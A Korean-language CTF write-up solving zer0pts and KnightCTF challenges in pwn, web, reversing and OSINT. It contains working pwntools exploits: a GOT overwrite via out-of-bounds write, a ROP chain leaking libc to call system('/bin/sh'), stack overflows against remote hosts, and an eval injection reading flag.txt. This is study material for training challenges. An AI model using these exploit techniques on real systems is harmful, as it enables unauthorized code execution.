Problem

#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val; 

  std::exit(0);
}

코드를 제공해주어서 편하게 분석할 수 있다.

해당 문제는 처음에 C++이어서 쫄았으나 코드 구성을 보고 buf에서 발생하는 OOB를 이용하여 exit.got를 overwrite하는 문제임은 금방 알 수 있었다.

문제를 푸는 당시에는 “IXCM”로마 숫자를 통해 buf 및 value를 입력받는 것은 알 수 있었으나, 해당 값으로는 최대 9999밖에 입력할 수 없어 그냥 포기하고 dreamhack으로 공부나 하러 튀었었다.

문제 풀이가 끝나고 writeup을 기다리고 있었으나 modern-rome 문제는 writeup을 찾을 수 없었고 디스코드방을 보다가 “IXCM\0”이라는 힌트를 보고 풀 수 있어서 writeup을 작성한다.

solve

  1. C++에 대해서는 잘 몰랐는데 iteration은 배열을 돌 때 “\x00”까지 돈다고 함 (이 부분은 아직 잘 모르겠음) 구조 상 “\x00”까지 돌게되면 99999까지 입력할 수 있음 ⇒ short overflow
  2. buf[idx]에서 idx를 검사하지 않음 ⇒ OOB
  3. exit.got overwrite

exploit code

from pwn import *

# p = process("./chall")
p = remote("pwn1.ctf.zer0pts.com", 9000)
e = ELF("./chall")

buf_addr = 0x404340
win_addr = 0x4012f6
exit_got = e.got["exit"]

print(f"buf_addr: {hex(buf_addr)}")
print(f"exit_got: {hex(exit_got)}")
print(f"win_addr: {hex(win_addr)}")

print(f"buf_addr - exit_got: {buf_addr - exit_got}")

# pause()

payload = b'\x00' * 6
payload += b'M' * 5
payload += b'C' * 1
payload += b'X' * 6
payload += b'I' * 4

p.sendlineafter(b"ind: ", payload)

payload = b'M' * 4
payload += b'C' * 8
payload += b'X' * 5
payload += b'I' * 4

p.sendlineafter(b"val: ", payload)

p.interactive()

Warmup

problem

environ

  • Ubuntu:18.04

warmup.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
    char buf[0x30];
    memset(buf, 0, 0x30);
    write(1, "> ", 2);
    read(0, buf, 0xc0);
}

int main(void) {
    init();
    vuln();
    exit(0);
}

writeup

해당 Warmup 문제는 CTF 기간내에 풀지 못한 문제이다. 대회가 끝난 후 공개된 writeup을 봤는데 굉장히 다양한 방식의 풀이가 있어서 흥미로웠다. 여러가지 풀이 방법 중 내가 알게된 방법은 아래와 같다.

  1. main()함수로 돌아가 vuln()함수가 호출될 시 stack에 위치한 buf가 8bytes씩 밀리는 것을 이용한 leak(내가 이해한게 맞는지 잘 모르겠음;;)
    https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c
  2. stack에 존재하는 dl_start_user+50값을 이용한 leak
    https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md
  3. stdin, stdout, stderr가 bss영역에 있는 것을 이용한 leak
    https://ctftime.org/writeup/32322

풀이과정은 여러개였지만 1,2 방법으로는 결국 풀지 못했기 때문에 3번 방식을 이용한 풀이를 하려고 한다.

(또한 환경 맞추어 줄 때 그냥 도커쓰자 그게 정신건강에 이롭다...)

https://user-images.githubusercontent.com/48816875/154907945-75f6993c-f1ac-4397-a14c-3ea17ab002fb.png

우선 main, vuln, init 등의 함수의 심볼이 모두 날라가 있는 것을 확인할 수 있었다.

https://user-images.githubusercontent.com/48816875/154908113-f47d781a-0830-466b-8490-649f5165d3cd.png

이런 경우 info file 명령어를 이용하여 .text 영역을 모두 살펴보는 방식을 이용해야한다.

https://user-images.githubusercontent.com/48816875/154908833-7e9c8347-5c70-4382-a473-7d1874437459.png

.text영역을 살펴보면 위 그림과 같이 파악할 수 있다.

   0x40053d:    push   rbx
   0x40053e:    xor    eax,eax
   0x400540:    mov    ecx,0xc
   0x400545:    lea    rsi,[rip+0x32]        # 0x40057e
   0x40054c:    mov    edx,0x2
   0x400551:    sub    rsp,0x30
   0x400555:    mov    rbx,rsp
   0x400558:    mov    rdi,rbx
   0x40055b:    rep stos DWORD PTR es:[rdi],eax
   0x40055d:    mov    edi,0x1
   0x400562:    call   0x4004a0 <write@plt>
   0x400567:    mov    rsi,rbx
   0x40056a:    mov    edx,0xc0
   0x40056f:    xor    edi,edi
   0x400571:    xor    eax,eax
   0x400573:    call   0x4004b0 <read@plt>
   0x400578:    add    rsp,0x30
   0x40057c:    pop    rbx
   0x40057d:    ret

그 중 vuln함수를 살펴보면 스택 정리 방식이 일반적이지 않음을 확인할 수 있다.

vuln함수에서 buf의 크기는 0x30인것에 반해 read함수를 이용한 입력은 0xc0만큼 받는다. 해당 취약점을 이용해 return address를 0x400567, 0x40055d로 줌으로써 write함수, read함수의 인자를 변경시켜 사용할 수 있다.

https://user-images.githubusercontent.com/48816875/154909840-1066850a-28d1-4adb-9e52-c61ef0ce8bd2.png

또한 .bss영역을 보면 stdout, stdin, stderr의 주소가 있는 것을 확인할 수 있다. 해당 .bss영역과 write함수를 이용해 libc base를 leak할 수 있다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.interactive()

위 익스코드의 동작과정을 설명하면

  1. pop rbx 를 이용해 rbx레지스터에 bss_addr값을 준다.
  2. read함수로 return address를 덮어씌워 read함수의 인자를 read(0, bss_addr, 0xc0)와 같이 만들어준다.
  3. 해당 인자를 그대로 write함수로 가져간다. ⇒ write(1, bss_addr, 0xc0)
  4. leak!

이렇게 써놓으면 이해하기 힘들거 같긴한데; vuln함수 디스어셈블구문과 함께 보면 이해할 수 있을거라 믿는다..

https://user-images.githubusercontent.com/48816875/154911113-c4d74306-500c-47c5-b310-86241ca2a8b6.png

해당 익스코드를 실행시키면 다음과 같이 bss_addr부분 즉 stdout, stdin, stderr 주소를 leak 할 수 있다.

여기서 stdout 주소는 p.sendline(b'')부분으로 인해 마지막 1byte가 0x0a로 덮였기 때문에 사용하지 않고 stdin주소를 사용하기로 한다.

위 과정을 통해 libc base 및 필요한 함수들의 주소들을 구해준 뒤 익스 해주면 된다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# libc_offset
stdin_offset = libc.symbols['_IO_2_1_stdin_']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
ogg_offset = 0x4f432
pop_rdi_offset = 0x215bf
ret_offset = 0x8aa

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
payload += b'A' * 0x38
payload += p64(vuln_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.recvuntil(b'\x7f')                                                        # stdout
stdin_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))               # stdin
libc_base = stdin_addr - stdin_offset
ogg_addr = libc_base + ogg_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_addr = libc_base + pop_rdi_offset
ret_addr = libc_base + ret_offset

print(f"[*] libc_base: {hex(libc_base)}")
print(f"[*] stdin_addr: {hex(stdin_addr)}")
print(f"[*] ogg_addr: {hex(ogg_addr)}")
print(f"[*] system_addr: {hex(system_addr)}")
print(f"[*] binsh_addr: {hex(binsh_addr)}")
print(f"[*] pop_rdi_addr: {hex(pop_rdi_addr)}")
print(f"[*] ret_addr: {hex(ret_addr)}")

payload2 = b'A' * 0x38
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendlineafter(b'> ', payload2)

p.interactive()

처음엔 one_gadget을 이용해 익스하려고 하였는데 인자 정리가 제대로 안된건지 뭔지 모르겠는데 execvpe+101 부분에서 SIGSEGV에러가 발생하여 system('/bin/sh)을 이용해 익스해주었다.

Solve

WEB

Sometime you need to look wayback (25pts)

https://user-images.githubusercontent.com/48816875/150953526-3bcb2146-18a0-41d9-a9f7-db2dc9efa3da.pnghttps://user-images.githubusercontent.com/48816875/150930948-0d672f1c-6a28-4b49-84ad-c328e1399995.png

들어가면 다음과 같은 웹페이지가 표시된다.

https://user-images.githubusercontent.com/48816875/150931039-d70ebc7c-780a-47b0-8c35-69d11f2bbe08.png

개발자 모드로 들어가면 다음과 같이 Test Bot Source Code: 깃허브링크가 나온다.

https://user-images.githubusercontent.com/48816875/150931765-06dd304c-cc8e-4241-81b5-79631f6ce5e6.png

commit 히스토리를 보면 다음과 같이 플래그가 있었다.

Do Something Special (50pts)

https://user-images.githubusercontent.com/48816875/150931916-eea8cf3e-7d60-4cce-9769-7699d0c06f5e.pnghttps://user-images.githubusercontent.com/48816875/150932007-7ebc1a47-75e4-4dfd-98ec-75c922bf20cc.png

접속하면 다음과 같은 화면이 나온다.

https://user-images.githubusercontent.com/48816875/150932083-f79d314a-cd9b-48fe-8ab5-5f202991fd6a.png

Get the flag! 버튼을 누르면 다음과 같이 에러 화면이 나오게 된다.

주소창을 자세히 보면 #이 들어가 있는 것을 확인할 수 있는데 #은 뒤에 오는 값을 fragment id로 취급하기 때문에 정상적인 문자열로 인식이 되지 않아 발생한 에러라는 것을 알 수 있다.

https://user-images.githubusercontent.com/48816875/150932745-e7b2e1dc-7342-4620-962f-f2b7da747868.png

따라서 다음과 같이 URL encoding을 거쳐 값을 보내어주면 플래그를 획득할 수 있다.

Obsfuscation Isn't Enough (50pts)

https://user-images.githubusercontent.com/48816875/150933490-df753578-f303-43a2-91d7-087c2834500b.pnghttps://user-images.githubusercontent.com/48816875/150933581-9d20322a-9714-4590-9c2e-9f9b5f387bd2.png

접속하면 다음과 같은 로그인 패널이 뜬다.

https://user-images.githubusercontent.com/48816875/150933682-ed807f3d-501b-45fd-a8d2-26f38b9f406e.png

소스 코드로 보면 누가봐도 jsfuck처럼 생긴 문자열들이 존재한다.

https://user-images.githubusercontent.com/48816875/150933777-bf4d3c34-267a-4cdb-a817-caa97ca7194d.png

디코딩하면 다음과 같이 읽을 수 있는 javascript 구문이 나오고 올바른 username.valuepassword.value 를 획득할 수 있다.

해당 값들을 가지고 로그인을 시도해봤으나 아무 반응이 없어 뒤에 document.location에 있는 randomvalue.php 에 직접 접속을 시도하여 플래그를 획득하였다.

https://user-images.githubusercontent.com/48816875/150934371-f75143c9-d65c-4058-a155-9d691f221dd1.png

Zero is not the limit (50pts)

https://user-images.githubusercontent.com/48816875/150934527-eab2ac16-9f8d-4ef9-b67c-c279bdf7d7ea.pnghttps://user-images.githubusercontent.com/48816875/150934621-7282e1ca-0b02-4af8-8829-d9f92f924ebc.png

접속시 다음 화면을 볼 수 있다.

문제를 풀 때 게싱이 많아서 많이 힘들었는데 해당 문제는 안그래도 문의가 많았는지 디코방에 /user경로를 잘 살펴보라는 힌트가 주어져 다음과 같이 접속했을 때 Jhon의 대한 정보를 획득할 수 있었다.

https://user-images.githubusercontent.com/48816875/150934883-2e1473bf-f736-4086-9d9d-bdc42d2ac161.png

문제이름이 Zero is not limit 였기 때문에 -1을 넣었더니 플래그가 나왔다.

https://user-images.githubusercontent.com/48816875/150934981-40ff376e-d541-4083-ab91-c7804a84aa14.png

Most Secure Calculator - 1 (50pts)

https://user-images.githubusercontent.com/48816875/150935112-1ca51553-186d-4966-bb6d-1d5fb5ea7d5a.pnghttps://user-images.githubusercontent.com/48816875/150935270-2d8dc3ad-54c9-460d-b5fd-751bf7a33f84.png

접속하면 다음과 같은 계산기 페이지가 나온다.

https://user-images.githubusercontent.com/48816875/150935327-afcdffc4-1626-435c-9ee2-244b495a1d81.png

문자열을 집어넣으면 다음과 같이 eval() 에러가 출력된다.

https://user-images.githubusercontent.com/48816875/150935423-c1b1ffcb-1273-4ac7-9402-320eebfef04a.png

따라서 system(”cat flag.txt”)를 넣으면 플래그를 읽을 수 있다.

Reverse Engineering

The Flag Vault (25pts)

https://user-images.githubusercontent.com/48816875/150935694-e5e0519d-ad5f-4038-b0c9-02a47b756ce6.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+6h] [rbp-6Ah] BYREF
  __int16 v5; // [rsp+8h] [rbp-68h] BYREF
  __int16 v6; // [rsp+Ah] [rbp-66h] BYREF
  __int16 v7; // [rsp+Ch] [rbp-64h] BYREF
  __int16 v8; // [rsp+Eh] [rbp-62h] BYREF
  __int16 v9; // [rsp+10h] [rbp-60h] BYREF
  __int16 v10; // [rsp+12h] [rbp-5Eh] BYREF
  __int16 v11; // [rsp+14h] [rbp-5Ch] BYREF
  __int16 v12; // [rsp+16h] [rbp-5Ah] BYREF
  __int16 v13; // [rsp+18h] [rbp-58h] BYREF
  __int16 v14; // [rsp+1Ah] [rbp-56h] BYREF
  __int16 v15; // [rsp+1Ch] [rbp-54h] BYREF
  __int16 v16; // [rsp+1Eh] [rbp-52h] BYREF
  __int16 v17; // [rsp+20h] [rbp-50h] BYREF
  __int16 v18; // [rsp+22h] [rbp-4Eh] BYREF
  __int16 v19; // [rsp+24h] [rbp-4Ch] BYREF
  __int16 v20; // [rsp+26h] [rbp-4Ah] BYREF
  __int16 v21; // [rsp+28h] [rbp-48h] BYREF
  __int16 v22; // [rsp+2Ah] [rbp-46h] BYREF
  __int16 v23; // [rsp+2Ch] [rbp-44h] BYREF
  __int16 v24; // [rsp+2Eh] [rbp-42h] BYREF
  char s2[32]; // [rsp+30h] [rbp-40h] BYREF
  char s1[24]; // [rsp+50h] [rbp-20h] BYREF
  unsigned __int64 v27; // [rsp+68h] [rbp-8h]

  v27 = __readfsqword(0x28u);
  v4 = 'K';
  v5 = '}';
  v6 = 'w';
  v7 = 'c';
  v8 = '0';
  v9 = 'T';
  v10 = 'F';
  v11 = 'C';
  v12 = '_';
  v13 = 'm';
  v14 = 't';
  v15 = 'r';
  v16 = 'v';
  v17 = 's';
  v18 = '{';
  v19 = 'n';
  v20 = '3';
  v21 = 'e';
  v22 = 'g';
  v23 = 'l';
  v24 = 'i';
  strcpy(s1, "abracadabrahahaha");
  printf("\nHi there!\n\nPlease enter the password to unlock the flag vault: ");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
  {
    puts("\nCongratulations! Here is your flag:\n");
    printf(
      "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n\n",
      &v4,
      &v11,
      &v9,
      &v10,
      &v18,
      &v6,
      &v21,
      &v23,
      &v7,
      &v8,
      &v13,
      &v21,
      &v12,
      &v14,
      &v8,
      &v12,
      &v15,
      &v21,
      &v16,
      &v21,
      &v15,
      &v17,
      &v21,
      &v12,
      &v20,
      &v19,
      &v22,
      &v24,
      &v19,
      &v21,
      &v21,
      &v15,
      &v24,
      &v19,
      &v22,
      &v5);
  }
  else
  {
    puts(
      "\n"
      "Sorry!\n"
      "\n"
      "You have entered a wrong password! \n"
      "\n"
      "Please try with a valid one!\n"
      "\n"
      "If you don't have the password, you can buy that here at https://knightsquad.org");
  }
  return 0;
}
  1. 입력한 문자열과 abracadabrahahaha를 비교한 뒤 같으면 flag를 출력해준다.
  2. v4 ~ v24까지를 전부다 %s에 대입하여 flag를 획득해도 됨

https://user-images.githubusercontent.com/48816875/150936429-908f65f4-11da-4a78-976f-94b7b9b60812.png

The Encoder (50pts)

https://user-images.githubusercontent.com/48816875/150936558-af85d07d-3df1-40c7-b001-28f50b0e201d.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s[52]; // [rsp+0h] [rbp-40h] BYREF
  int v6; // [rsp+34h] [rbp-Ch]
  int v7; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  v7 = 1337;
  v6 = 0;
  puts("Welcome to the encoder");
  puts("Please give me a plain text of max 40 characters");
  fgets(s, 40, _bss_start);
  for ( i = 0; ; ++i )
  {
    v3 = countChar(s);
    if ( i >= v3 )
      break;
    v6 = s[i];
    printf("%d ", (v6 + v7));
  }
  return 0;
}

입력한 문자열의 ascii코드에 1337을 더해 반환하는 encoder

반대로 1337을 빼주면 플래그를 획득할 수 있다.

data = "1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462"

enc = data.split(" ")

for i in enc:
    print(chr(int(i) - 1337), end="")

Baby Shark (50pts)

https://user-images.githubusercontent.com/48816875/150937804-85294fb9-9f96-4fa1-b935-cc57ec8ccbd5.pnghttps://user-images.githubusercontent.com/48816875/150937748-dcf534c4-73dc-4c52-8002-61911379db5e.png

jar decompiler를 통해 String.class를 보면 base64 encoding된 문자열들이 보인다.

맨 아래 인코딩문을 디코딩으로 돌리면 플래그를 획득할 수 있다.

Flag Checker (100pts)

https://user-images.githubusercontent.com/48816875/150938531-a43e4466-40c8-4365-9212-8ade9ddc53c5.png

이번에는 좀 무식한 방법을 이용하여 문제를 해결하였다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-240h] BYREF
  char v5[51]; // [rsp+200h] [rbp-40h] BYREF
  char v6; // [rsp+233h] [rbp-Dh]
  int v7; // [rsp+234h] [rbp-Ch]
  int j; // [rsp+238h] [rbp-8h]
  int i; // [rsp+23Ch] [rbp-4h]

  strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
  printf("Give me a flag : ");
  __isoc99_scanf("%s", v4);
  for ( i = 0; v4[i]; ++i )
  {
    if ( v4[i] <= 64 || v4[i] > 90 )
    {
      if ( v4[i] <= 96 || v4[i] > 122 )
        v4[i] = v4[i];
      else
        v4[i] = -37 - v4[i];
    }
    else
    {
      v4[i] = -101 - v4[i];
    }
  }
  for ( j = 0; v4[j]; ++j )
    v4[j] -= 32;
  v7 = 0;
  v6 = 0;
  while ( v5[v7] )
  {
    if ( v5[v7] != v4[v7] )
    {
      v6 = 0;
      break;
    }
    v6 = 1;
    ++v7;
  }
  if ( v6 )
    puts("You have entered the right flag.");
  else
    puts("Sorry ! Its wrong flag.");
  return 0;
}

몇번 동적 분석을 진행하다보니 눈에 띄는 규칙성이 보여 그냥 그대로 딕셔너리로 박아주었다.

match = {
    "}" : 0x5d,
    "{" : 0x5b,
    "a" : 0x5a,
    "b" : 0x59,
    "c" : 0x58,
    "d" : 0x57,
    "e" : 0x56,
    "f" : 0x55,
    "g" : 0x54,
    "h" : 0x53,
    "i" : 0x52,
    "j" : 0x51,
    "k" : 0x50,
    "l" : 0x4f,
    "m" : 0x4e,
    "n" : 0x4d,
    "o" : 0x4c,
    "p" : 0x4b, 
    "q" : 0x4a,
    "r" : 0x49,
    "s" : 0x48,
    "t" : 0x47,
    "u" : 0x46,
    "v" : 0x45,
    "w" : 0x44,
    "x" : 0x43,
    "y" : 0x42,
    "z" : 0x41,
    "_" : 0x3f,
    "A" : 0x3a,
    "B" : 0x39,
    "C" : 0x38,
    "D" : 0x37,
    "E" : 0x36,
    "F" : 0x35,
    "G" : 0x34,
    "H" : 0x33,
    "I" : 0x32,
    "J" : 0x31,
    "K" : 0x30,
    "L" : 0x2f,
    "M" : 0x2e,
    "N" : 0x2d,
    "O" : 0x2c,
    "P" : 0x2b,
    "Q" : 0x2a,
    "R" : 0x29,
    "S" : 0x28,
    "T" : 0x27,
    "U" : 0x26,
    "V" : 0x25,
    "W" : 0x24,
    "X" : 0x23,
    "Y" : 0x22,
    "Z" : 0x21,
}

data = "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"

reverse_match = dict(map(reversed, match.items()))
# print(reverse_match)

for i in data:
    # print(ord(i))
    print(reverse_match[ord(i)], end='')

'''
KCTF{aTbAsH...
'''

Knight Vault (100pts)

https://user-images.githubusercontent.com/48816875/150939022-f1c0e6e6-c1f8-4bb6-882c-acae93252211.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Bh] [rbp-435h]
  int i; // [rsp+Ch] [rbp-434h]
  int v6; // [rsp+Ch] [rbp-434h]
  char v7[48]; // [rsp+10h] [rbp-430h] BYREF
  char v8[1016]; // [rsp+40h] [rbp-400h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  strcpy(v7, "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s");
  puts("Hello There..\nWelcome to KS Vault.");
  printf("Please enter vault password : ");
  __isoc99_scanf("%s", v8);
  for ( i = 0; v8[i]; ++i )
  {
    v8[i + 512] = v8[i] - 10;
    if ( v8[i + 512] == 65 )
      v8[i + 512] = 42;
  }
  v6 = 0;
  v4 = 0;
  while ( v7[v6] )
  {
    if ( v7[v6] != v8[v6 + 512] )
    {
      v4 = 0;
      break;
    }
    v4 = 1;
    ++v6;
  }
  if ( v4 )
    win();
  else
    puts("Wrong password !");
  return 0;
}
data = "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s"
datalist = [i for i in data]

for i in range(len(datalist)):
    if ord(datalist[i]) == 42:
        datalist[i] = chr(65)
    datalist[i] = chr(ord(datalist[i]) + 10)

print(''.join(datalist))

값이 65일 때 42로 변경해주고 그 외에 경우에는 -10을 해주는 연산이어서 그 반대의 코드를 짜서 해결해주었다.

Knight Switch Bank (200pts)

https://user-images.githubusercontent.com/48816875/150939624-2a790c9f-263a-4cb5-9c9e-65ab68670471.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-430h]
  char v5[512]; // [rsp+200h] [rbp-230h] BYREF
  char v6[32]; // [rsp+400h] [rbp-30h] BYREF
  int i; // [rsp+420h] [rbp-10h]
  char v8; // [rsp+427h] [rbp-9h]
  int v9; // [rsp+428h] [rbp-8h]
  int v10; // [rsp+42Ch] [rbp-4h]

  strcpy(v6, "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_");
  v10 = 0;
  v9 = 0;
  puts("-------------------------------------");
  puts("\tKnight Switch Bank");
  puts("--------------------------------------");
  puts("Welcome to Knight Switch Bank....");
  printf("Please enter your password : ");
  __isoc99_scanf("%s", v5);
  while ( v5[v10] )
  {
    if ( v5[v10] <= 64 || v5[v10] > 77 )
    {
      if ( v5[v10] <= 96 || v5[v10] > 109 )
      {
        if ( v5[v10] <= 77 || v5[v10] > 90 )
        {
          if ( v5[v10] <= 109 || v5[v10] > 122 )
            v4[v10] = v5[v10] - 32;
          else
            v4[v10] = v5[v10] - 13;
        }
        else
        {
          v4[v10] = v5[v10] - 13;
        }
      }
      else
      {
        v4[v10] = v5[v10] + 13;
      }
    }
    else
    {
      v4[v10] = v5[v10] + 13;
    }
    ++v10;
  }
  while ( v4[v9] )
    v4[v9++] += 2;
  v8 = 0;
  for ( i = 0; v6[i]; ++i )
  {
    if ( v6[i] != v4[i] )
    {
      v8 = 0;
      break;
    }
    v8 = 1;
  }
  if ( v8 )
    winner();
  else
    puts("Oh My God ! You entered a wrong password.");
  return 0;
}
data = "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_"

datalist = [ord(i) - 2 for i in data]
# print(datalist)

for i in range(len(datalist)):
    if not (datalist[i] - 13 <= 64 or datalist[i] - 13 > 77): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] - 13 <= 96 or datalist[i] - 13 > 109): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] + 13 <= 77 or datalist[i] + 13 > 90): print(chr(datalist[i] + 13), end='')
    elif not(datalist[i] + 13 <= 109 or datalist[i] + 13 > 122): print(chr(datalist[i] - 13), end='')
    else: print(chr(datalist[i] + 32), end='')

OSINT

Canada Server (50pts)

https://user-images.githubusercontent.com/48816875/150942343-ad44ebb5-6cb9-4a9e-b0d6-6675c367887f.pnghttps://user-images.githubusercontent.com/48816875/150942463-b82339d5-e254-4531-a2a3-86616b56cb18.png

KCTF{192.99.167.83}

Explosion In Front Of Bank Of Spain (100pts)

https://user-images.githubusercontent.com/48816875/150942756-e3f50987-4e70-4432-b0ff-dda7d5f859b1.pnghttps://user-images.githubusercontent.com/48816875/150943008-6df26c05-f635-484f-83f0-e524bf3401f4.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150943252-704af097-e566-4ed2-b24d-782a67ae5768.png

이미지 검색을 통해 영화 종이의 집의 한 장면이라는 것을 알 수 있었다. 또한, 추가적인 검색을 통해 파트 3, 4의 스페인 은행은 'New Ministries'라고 알려져 있는 정부 건물을 이용했다는 것을 알게 되었다.

https://user-images.githubusercontent.com/48816875/150943906-1936a9ac-223e-4e6c-88c1-91c7577e306f.png

New Ministries를 스페인어로 하면 Nuevos Ministerios가 되며 해당 위치를 구글 맵으로 찾아보았다.

https://user-images.githubusercontent.com/48816875/150945113-ad07c540-9044-4112-98a9-3d6dea4c24e4.png

구글 맵에서 해당 사진과 유사한 사진을 쭉 훑어보던 도중 유사한 사진을 발견하여 해당 url에 등록된 좌표를 플래그로 넘겨주었더니 인증되었다.

Find The Camera (100pts)

https://user-images.githubusercontent.com/48816875/150945321-221c16f2-a079-4bb2-919e-d45a057e9b9b.pnghttps://user-images.githubusercontent.com/48816875/150945527-24ebcf7e-ac8b-4e1f-a291-a6923a95875f.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150946078-0ebb624a-0407-4b94-b4e3-34d8068b4878.png

이미지 검색과 함께 키워드로 camera를 주면 결과가 딱 하나 나오게 된다.

해당 사이트에 접속하면 플래그 인증에 필요한 정보를 모두 획득할 수 있다.

PWN

What's Your Name (50pts)

https://user-images.githubusercontent.com/48816875/150946283-b41a7557-1ea6-41be-9f8f-64983f0d3db7.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[60]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+3Ch] [rbp-4h]

  v5 = 0x64;
  printf("What's your name ? ");
  fflush(_bss_start);
  gets(v4, argv);
  printf("Welcome %s \n", v4);
  fflush(_bss_start);
  if ( v5 != 0x64 )
    system("cat /home/hacker/flag.txt");
  return 0;
}

단순하게 v4에 입력받는 부분에서 bof를 일으켜 v5변수를 0x64가 아닌 다른 값으로 덮어주기만 하면 되는 문제이다.

from pwn import *

payload = b'A' * 0x41

# p = process("./whats_your_name")
p = remote("159.223.166.39", 9007)

p.sendlineafter(b"name ? ", payload)

p.interactive()

Hackers Vault (100pts)

https://user-images.githubusercontent.com/48816875/150947322-fb62142c-4923-4066-bee8-20596afee6fc.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [rsp+0h] [rbp-10h] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("Welcome to Hackers Vault...");
  printf("Please enter your pass code : ");
  v6 = 0;
  v5 = 0;
  __isoc99_scanf("%d", v4);
  while ( v4[0] )
  {
    v4[1] = v4[0] % 10;
    v5 += v4[0] % 10;
    ++v6;
    v4[0] /= 10;
  }
  if ( v5 == 48 )
  {
    puts("\n");
    puts("Welcome to your vault...");
    puts("Your Secret : ");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    puts("Wrong pass code");
  }
  return 0;
}
cnt = 1

while(cnt):
    print(f"trying {cnt}")
    v4 = cnt
    v5 = 0
    while(v4):
        v5 += int(v4 % 10)
        v4 /= 10
    if v5 == 48:
        print(f"result : {cnt}")
        break
    else:
        print(f"error : {v5}")
        cnt += 1

C와 같은 동작을 하는 python코드를 짜 Secret값을 알아냈다.

nc 접속을 한 이후 Secret값인 399999를 입력해주면 flag를 획득할 수 있다.

What's Your Name 2 (100pts)

https://user-images.githubusercontent.com/48816875/150947711-0b0b406f-ea71-4da7-860c-d388ab8c46e1.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[208]; // [rsp+0h] [rbp-120h] BYREF
  char dest[72]; // [rsp+D0h] [rbp-50h] BYREF
  int v6; // [rsp+118h] [rbp-8h]
  int v7; // [rsp+11Ch] [rbp-4h]

  v6 = 0;
  v7 = 0;
  printf("What's your name ? ");
  fflush(_bss_start);
  fgets(s, 200, stdin);
  strcpy(dest, s);
  if ( v7 == 1413825868 && v6 == 1397445710 )
  {
    printf("I liked your name and you got enough money :D");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    printf("Sorry ! I didn't like your name and you don't have enough money. Come one earn some money.");
  }
  return 0;
}

s 버퍼에 입력을 받을 때는 길이값에 제한이 있지만 strcpy를 통해 dest로 옮겨갈때는 길이값 검증이 존재하지 않는다. 해당 취약점을 이용해 v7, v6를 덮으면 플래그를 획득할 수 있다.

from pwn import *

payload = b'A' * (80 - 8)
payload += p32(0x534B544E)
payload += p32(0x5445454C)

